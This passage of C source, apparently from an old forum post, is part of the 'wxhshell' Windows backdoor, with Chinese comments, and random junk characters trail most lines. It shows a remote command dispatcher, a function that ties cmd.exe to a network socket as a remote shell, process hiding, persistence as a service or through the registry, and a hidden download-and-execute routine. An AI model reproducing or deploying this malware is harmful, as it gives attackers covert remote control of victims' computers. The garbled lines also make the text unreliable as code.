  AlZ]UGf^  
  // 帮助 %UGXgYDz  
  case '?': { `h%(ZG ~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y3%_IwSJ|  
    break; 62L,/?`B$  
  } jVA|Vi_2  
  // 安装 u!$+1fI>  
  case 'i': { 90R z#qrI*  
    if(Install()) 7$"{&T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4KSZ;fV6/  
    else ;UU`kk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jtS-nQ|  
    break; rQE:rVKVh  
    } ngmHiI W  
  // 卸载 ,3+#?H  
  case 'r': { UNK}!>HD  
    if(Uninstall()) _.)6~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2c)Ez?  
    else {=3&_/9s){  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~m`j=ot  
    break; {,:yZ&(  
    } = Ob-'Syg>  
  // 显示 wxhshell 所在路径 `i~kW  
  case 'p': { o8uak*"{  
    char svExeFile[MAX_PATH]; yLpsK[)}\  
    strcpy(svExeFile,"\n\r"); sVT:1 kI  
      strcat(svExeFile,ExeFile); qYba%g9RN(  
        send(wsh,svExeFile,strlen(svExeFile),0); x:wv#Wh:l7  
    break; B EN U  
    } Q)mYy  
  // 重启 TR7j`?  
  case 'b': { Pk2=*{:W  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y6+/_$N4|  
    if(Boot(REBOOT)) (FVHtZi7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H\r- ;,&  
    else { @$G{t^&os  
    closesocket(wsh); Ms>CO7Nvy  
    ExitThread(0); 3UR'*5|'  
    } q8m[ S4Q]g  
    break; ]LbFh5;s  
    } JE~;gz]  
  // 关机 ~<.%sVwE  
  case 'd': { }0okyGg>q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lf`" (:./  
    if(Boot(SHUTDOWN)) ^*g= 65!1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ zs.M-F  
    else { IjaFNZZC!  
    closesocket(wsh); |BA&ixHe~C  
    ExitThread(0); NCX`-SLv  
    } x->H~/  
    break; /#Fz K  
    } K=K]R01/o  
  // 获取shell 4tA`,}ywPq  
  case 's': { P 7`RAz  
    CmdShell(wsh); [8 I*lsS  
    closesocket(wsh); WALK@0E  
    ExitThread(0); '&LH9r  
    break; }5b,u6  
  } u2o196,Ut  
  // 退出 SJ7-lben3  
  case 'x': { +,q#'wSQG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~rfUqM]I   
    CloseIt(wsh); ->9waXRDz)  
    break; R+&{lc  
    } ;owU]Xk%8K  
  // 离开 TdKo"H*C  
  case 'q': { };m.8(}$)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q9gk:Jt  
    closesocket(wsh); ;;>G}pG  
    WSACleanup(); PP{s&(  
    exit(1); n_9Wrx328  
    break; 3UgPVCT  
        } <lN=<9  
  } x'iBEm  
  } JTcE{i  
Ewq7oq5:  
  // 提示信息 w+][L||4c  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D b&= N  
} oK@_  
  } w678  
0Qr|!B:+9)  
  return; q,>-4Cm  
} $aC%&&+wG  
{36QZV*P  
// shell模块句柄 BbG=vy8'l  
int CmdShell(SOCKET sock) o>^ @s4t  
{ |Duf 3u  
STARTUPINFO si; c~)H" n  
ZeroMemory(&si,sizeof(si)); 3gQ2wP*K  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #,S0uA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =`EVg>+^  
PROCESS_INFORMATION ProcessInfo; &BOG&ot  
char cmdline[]="cmd"; } $oZZKS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \R.Fmeko  
  return 0; tSX,*cz  
} Z}`A'#!  
rCsH 0:l8P  
// 自身启动模式 {fxytiH8  
int StartFromService(void) :F.eyA|#@G  
{ LTZ~Id-)P  
typedef struct j&l2n2z  
{ @$7l  
  DWORD ExitStatus; O_P8OA#|  
  DWORD PebBaseAddress; fX/k;0l  
  DWORD AffinityMask; QI4a@WB]ok  
  DWORD BasePriority; NOQSLT=  
  ULONG UniqueProcessId; 2PViY,V|  
  ULONG InheritedFromUniqueProcessId; yP"D~u  
}   PROCESS_BASIC_INFORMATION; F*_ytL  
>jRH<|Az  
PROCNTQSIP NtQueryInformationProcess; A3A"^f$$  
#eY?6Kjn  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #@Rtb\9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ou5,7Ne  
C<E;f]d  
  HANDLE             hProcess; 55V&[>|K5  
  PROCESS_BASIC_INFORMATION pbi; +i(;@% kv  
+kM*BCPYE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); OE(!^"5?[  
  if(NULL == hInst ) return 0; ."h>I @MH  
`{+aJ0<S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vq8&IL  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X8~gLdv8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I,7n-G_'  
dk.VH!uVb  
  if (!NtQueryInformationProcess) return 0; en8l:INX  
AkX8v66:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); NGAjajB  
  if(!hProcess) return 0; 3h4'DQ.g  
>mp" =Y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5^ e|802  
v]U0@#/p  
  CloseHandle(hProcess); TIVrbO\!o  
mApl}I  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q/dja  
if(hProcess==NULL) return 0; m<GJ1)%3i  
Nrfj[I  
HMODULE hMod; _<7e5VR  
char procName[255]; ;#n+$Q#:  
unsigned long cbNeeded; KBa   
X0BBJ(e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Qg5-I$0  
Sz0CP1WB  
  CloseHandle(hProcess); (I ~r~5^  
2|}KBny  
if(strstr(procName,"services")) return 1; // 以服务启动 7rjS.  
VN >X/  
  return 0; // 注册表启动 P7y.:%DGD0  
} <lf6gb  
\Z/# s;c,4  
// 主模块 i1-wzI  
int StartWxhshell(LPSTR lpCmdLine) !--A"  
{ r=:o$e  
  SOCKET wsl; "dFuQB  
BOOL val=TRUE; ]7 2wv#-  
  int port=0; a{! 8T  
  struct sockaddr_in door; 0RkiD8U5  
=Y<RG"]a&J  
  if(wscfg.ws_autoins) Install(); nhI1`l&  
7gP8K`w?[  
port=atoi(lpCmdLine); t(\P8J  
~,O}wT6q  
if(port<=0) port=wscfg.ws_port; &/{x7;e  
1ZRSeh  
  WSADATA data; "Rq)%o$Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {U7A&e0eW  
mqKr+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ZfSAXr "(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z|WDqB%/I  
  door.sin_family = AF_INET; Nh+ZSV4WJ:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .>+jtp}  
  door.sin_port = htons(port); {aYCrk1  
/+{1;}AT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +EP=uV9t  
closesocket(wsl); > @n?W"  
return 1; zR6^rq*  
} % #-'|~  
6),VN>j  
  if(listen(wsl,2) == INVALID_SOCKET) { "&N1$$  
closesocket(wsl); X.hV MX2B  
return 1; YMIX|bj6Y  
} 2[TssJQ  
  Wxhshell(wsl); :P: OQ[$  
  WSACleanup(); V0a)9\x(\  
*pKj6x  
return 0; @DK;i_i  
_5SA(0D#9  
} s5D<c'-  
8VLD yX2-  
// 以NT服务方式启动 q?2kD"%$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [" nDw<U  
{ b8TwV_&|X  
DWORD   status = 0; :}}~ $$&  
  DWORD   specificError = 0xfffffff; sN9 SuQ  
.qG*$W2f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )1 =|\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; nN[gAM (  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .m \y6  
  serviceStatus.dwWin32ExitCode     = 0; 3FpSo+  
  serviceStatus.dwServiceSpecificExitCode = 0; {Wh7>*p{3  
  serviceStatus.dwCheckPoint       = 0; 7(1UXtT  
  serviceStatus.dwWaitHint       = 0; Th\t6K~  
b.sRB1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bsgrg  
  if (hServiceStatusHandle==0) return;  p@bcf5'  
i0e aBG]I  
status = GetLastError(); T!pjv8y@R  
  if (status!=NO_ERROR) q'4qSu  
{ &a];"2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; u@eKh3!  
    serviceStatus.dwCheckPoint       = 0; l1wYN,rv  
    serviceStatus.dwWaitHint       = 0; :c^9\8S  
    serviceStatus.dwWin32ExitCode     = status; #E#.`/4  
    serviceStatus.dwServiceSpecificExitCode = specificError; GPVqt"TY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); PTFe>~vr*  
    return; _Vf0MU;3f+  
  } bRb+3au_x  
~f:jI1(}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .*+KQ A8  
  serviceStatus.dwCheckPoint       = 0; =x3ZQA  
  serviceStatus.dwWaitHint       = 0; E#A}J:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #(Ah>y  
}  wk (}q  
E2a00i/9Y  
// 处理NT服务事件,比如:启动、停止 1X$hwkof  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _;yi/)-2  
{ "f-z3kL  
switch(fdwControl) 2h^9lrQcQG  
{ H&3i[D!p  
case SERVICE_CONTROL_STOP: {9yW8&m  
  serviceStatus.dwWin32ExitCode = 0; b+qdl`V d  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A-XWG9nL  
  serviceStatus.dwCheckPoint   = 0; t:<dirw,o  
  serviceStatus.dwWaitHint     = 0; X`E3lgfqT  
  { 8!q$8]M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .<|.nK`6  
  } 9Di@r!Db  
  return; &*r'Sx )V  
case SERVICE_CONTROL_PAUSE: b&~s}IX   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u"*Wo'3I|  
  break; XexslzI  
case SERVICE_CONTROL_CONTINUE: }9,^=g-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; A/+bwCDP  
  break; _]~= Kjp  
case SERVICE_CONTROL_INTERROGATE: jQLiqi`  
  break; c _faW  
}; "Ooc;xD3<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (aa}0r5  
} AyUiX2=w1  
3Az7urIY  
// 标准应用程序主函数 !1s^TB>N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t)hAD_sf  
{ m:A1wL4c6  
GI40Ztms  
// 获取操作系统版本 9V5d=^  
OsIsNt=GetOsVer(); K)d]3V!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <R>%DD=v^  
uh_ 2yw_  
  // 从命令行安装 X_nxC6[m%  
  if(strpbrk(lpCmdLine,"iI")) Install(); d#*n@@V4  
4Ev#`i3~  
  // 下载执行文件 hR1n@/nh  
if(wscfg.ws_downexe) { @<W^/D1#L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /K2=GLl;  
  WinExec(wscfg.ws_filenam,SW_HIDE); !<P|:Oo*Dl  
} gE~]^B{  
mtQlm5l  
if(!OsIsNt) { %oY=.Ok ]  
// 如果时win9x,隐藏进程并且设置为注册表启动 Xzp!X({   
HideProc(); vuCl(/P`  
StartWxhshell(lpCmdLine); PfKF!/c B  
} u:FFZ  
else ~-.^eT kP  
  if(StartFromService()) +~~&FO2  
  // 以服务方式启动 m2o)/:  
  StartServiceCtrlDispatcher(DispatchTable); |`50Tf\J  
else u^!c:RfE?  
  // 普通方式启动 861!p%y5  
  StartWxhshell(lpCmdLine); _:Jra  
^`&?"yj<z  
return 0; Cm5:_K`;]  
}
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只看该作者 1 发表于: 2006-10-10
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